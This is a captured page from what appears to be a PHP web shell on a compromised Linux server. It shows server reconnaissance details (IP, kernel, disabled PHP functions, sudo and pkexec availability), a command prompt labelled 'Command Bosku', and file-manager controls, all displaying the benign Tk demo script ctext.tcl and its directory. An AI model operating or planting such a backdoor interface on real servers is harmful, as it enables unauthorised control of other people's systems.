Na}{

Server IP: 162.240.74.182

Your IP: 216.73.217.6

Web Server: Apache

System: Linux 3.10.0-1160.119.1.el7.x86_64 (shell_exec disabled)

User: gdg

PHP Version: 8.0.30

Disable Function: exec, passthru, shell_exec, system

MySQL: OFF

cURL: ON

WGET: OFF

Perl: OFF

Python: OFF

Sudo: OFF

Pkexec: OFF

Command Bosku:

Path: ~//usr/share/tk8.5/demos/

File Content: `ctext.tcl`

# ctext.tcl --
#
# This demonstration script creates a canvas widget with a text
# item that can be edited and reconfigured in various ways.

if {![info exists widgetDemo]} {
    error "This script should be run from the \"widget\" demo."
}

package require Tk

set w .ctext
catch {destroy $w}
toplevel $w
wm title $w "Canvas Text Demonstration"
wm iconname $w "Text"
positionWindow $w
set c $w.c

label $w.msg -font $font -wraplength 5i -justify left -text "This window displays a string of text to demonstrate the text facilities of canvas widgets.  You can click in the boxes to adjust the position of the text relative to its positioning point or change its justification.  The text also supports the following simple bindings for editing:
  1. You can point, click, and type.
  2. You can also select with button 1.
  3. You can copy the selection to the mouse position with button 2.
  4. Backspace and Control+h delete the selection if there is one;
     otherwise they delete the character just before the insertion cursor.
  5. Delete deletes the selection if there is one; otherwise it deletes
     the character just after the insertion cursor."
pack $w.msg -side top

## See Code / Dismiss buttons
set btns [addSeeDismiss $w.buttons $w]
pack $btns -side bottom -fill x

canvas $c -relief flat -borderwidth 0 -width 500 -height 350
pack $w.c -side top -expand yes -fill both

set textFont {Helvetica 24}

$c create rectangle 245 195 255 205 -outline black -fill red

# First, create the text item and give it bindings so it can be edited.

$c addtag text withtag [$c create text 250 200 -text "This is just a string of text to demonstrate the text facilities of canvas widgets. Bindings have been been defined to support editing (see above)." -width 440 -anchor n -font $textFont -justify left]
$c bind text <1> "textB1Press $c %x %y"
$c bind text <B1-Motion> "textB1Move $c %x %y"
$c bind text <Shift-1> "$c select adjust current @%x,%y"
$c bind text <Shift-B1-Motion> "textB1Move $c %x %y"
$c bind text <KeyPress> "textInsert $c %A"
$c bind text <Return> "textInsert $c \\n"
$c bind text <Control-h> "textBs $c"
$c bind text <BackSpace> "textBs $c"
$c bind text <Delete> "textDel $c"
$c bind text <2> "textPaste $c @%x,%y" 

# Next, create some items that allow the text's anchor position
# to be edited.

proc mkTextConfig {w x y option value color} {
    set item [$w create rect $x $y [expr {$x+30}] [expr {$y+30}] \
	    -outline black -fill $color -width 1]
    $w bind $item <1> "$w itemconf text $option $value"
    $w addtag config withtag $item
}

set x 50
set y 50
set color LightSkyBlue1
mkTextConfig $c $x $y -anchor se $color
mkTextConfig $c [expr {$x+30}] [expr {$y   }] -anchor s      $color
mkTextConfig $c [expr {$x+60}] [expr {$y   }] -anchor sw     $color
mkTextConfig $c [expr {$x   }] [expr {$y+30}] -anchor e      $color
mkTextConfig $c [expr {$x+30}] [expr {$y+30}] -anchor center $color
mkTextConfig $c [expr {$x+60}] [expr {$y+30}] -anchor w      $color
mkTextConfig $c [expr {$x   }] [expr {$y+60}] -anchor ne     $color
mkTextConfig $c [expr {$x+30}] [expr {$y+60}] -anchor n      $color
mkTextConfig $c [expr {$x+60}] [expr {$y+60}] -anchor nw     $color
set item [$c create rect \
	[expr {$x+40}] [expr {$y+40}] [expr {$x+50}] [expr {$y+50}] \
	-outline black -fill red]
$c bind $item <1> "$c itemconf text -anchor center"
$c create text [expr {$x+45}] [expr {$y-5}] \
	-text {Text Position}  -anchor s  -font {Times 24}  -fill brown

# Lastly, create some items that allow the text's justification to be
# changed.

set x 350
set y 50
set color SeaGreen2
mkTextConfig $c $x $y -justify left $color
mkTextConfig $c [expr {$x+30}] $y -justify center $color
mkTextConfig $c [expr {$x+60}] $y -justify right $color
$c create text [expr {$x+45}] [expr {$y-5}] \
	-text {Justification}  -anchor s  -font {Times 24}  -fill brown

$c bind config <Enter> "textEnter $c"
$c bind config <Leave> "$c itemconf current -fill \$textConfigFill"

set textConfigFill {}

proc textEnter {w} {
    global textConfigFill
    set textConfigFill [lindex [$w itemconfig current -fill] 4]
    $w itemconfig current -fill black
}

proc textInsert {w string} {
    if {$string == ""} {
	return
    }
    catch {$w dchars text sel.first sel.last}
    $w insert text insert $string
}

proc textPaste {w pos} {
    catch {
	$w insert text $pos [selection get]
    }
}

proc textB1Press {w x y} {
    $w icursor current @$x,$y
    $w focus current
    focus $w
    $w select from current @$x,$y
}

proc textB1Move {w x y} {
    $w select to current @$x,$y
}

proc textBs {w} {
    if {![catch {$w dchars text sel.first sel.last}]} {
	return
    }
    set char [expr {[$w index text insert] - 1}]
    if {$char >= 0} {$w dchar text $char}
}

proc textDel {w} {
    if {![catch {$w dchars text sel.first sel.last}]} {
	return
    }
    $w dchars text insert
}

Edit Rename Chmod Delete

FILE FOLDER

Name	Size	Permission
images	---	0755
README	2082 bytes	0644
anilabel.tcl	6670 bytes	0644
aniwave.tcl	3495 bytes	0644
arrow.tcl	7984 bytes	0644
bind.tcl	2943 bytes	0644
bitmap.tcl	1411 bytes	0644
browse	1758 bytes	0755
button.tcl	1504 bytes	0644
check.tcl	2278 bytes	0644
clrpick.tcl	1431 bytes	0644
colors.tcl	4995 bytes	0644
combo.tcl	1983 bytes	0644
cscroll.tcl	3389 bytes	0644
ctext.tcl	4870 bytes	0644
dialog1.tcl	660 bytes	0644
dialog2.tcl	613 bytes	0644
en.msg	3890 bytes	0644
entry1.tcl	1385 bytes	0644
entry2.tcl	2111 bytes	0644
entry3.tcl	6094 bytes	0644
filebox.tcl	2254 bytes	0644
floor.tcl	79098 bytes	0644
form.tcl	1046 bytes	0644
goldberg.tcl	56556 bytes	0644
hello	512 bytes	0755
hscale.tcl	1497 bytes	0644
icon.tcl	2063 bytes	0644
image1.tcl	1002 bytes	0644
image2.tcl	3362 bytes	0644
items.tcl	9724 bytes	0644
ixset	8098 bytes	0755
knightstour.tcl	8586 bytes	0644
label.tcl	1318 bytes	0644
labelframe.tcl	1847 bytes	0644
license.terms	2208 bytes	0644
mclist.tcl	3986 bytes	0644
menu.tcl	6730 bytes	0644
menubu.tcl	4477 bytes	0644
msgbox.tcl	2023 bytes	0644
nl.msg	6769 bytes	0644
paned1.tcl	1110 bytes	0644
paned2.tcl	2229 bytes	0644
pendulum.tcl	7638 bytes	0644
plot.tcl	2758 bytes	0644
puzzle.tcl	2597 bytes	0644
radio.tcl	2752 bytes	0644
rmt	5343 bytes	0755
rolodex	8300 bytes	0755
ruler.tcl	5211 bytes	0644
sayings.tcl	2263 bytes	0644
search.tcl	4398 bytes	0644
spin.tcl	1820 bytes	0644
states.tcl	1667 bytes	0644
style.tcl	6938 bytes	0644
tclIndex	4354 bytes	0644
tcolor	11250 bytes	0755
text.tcl	3424 bytes	0644
textpeer.tcl	2183 bytes	0644
timer	1119 bytes	0755
toolbar.tcl	3264 bytes	0644
tree.tcl	3367 bytes	0644
ttkbut.tcl	3425 bytes	0644
ttkmenu.tcl	2411 bytes	0644
ttknote.tcl	2472 bytes	0644
ttkpane.tcl	4047 bytes	0644
ttkprogress.tcl	1556 bytes	0644
ttkscale.tcl	1420 bytes	0644
twind.tcl	10827 bytes	0644
unicodeout.tcl	3536 bytes	0644
vscale.tcl	1477 bytes	0644
widget	23376 bytes	0755

Command Bosku:

File Content: ctext.tcl

File Content: `ctext.tcl`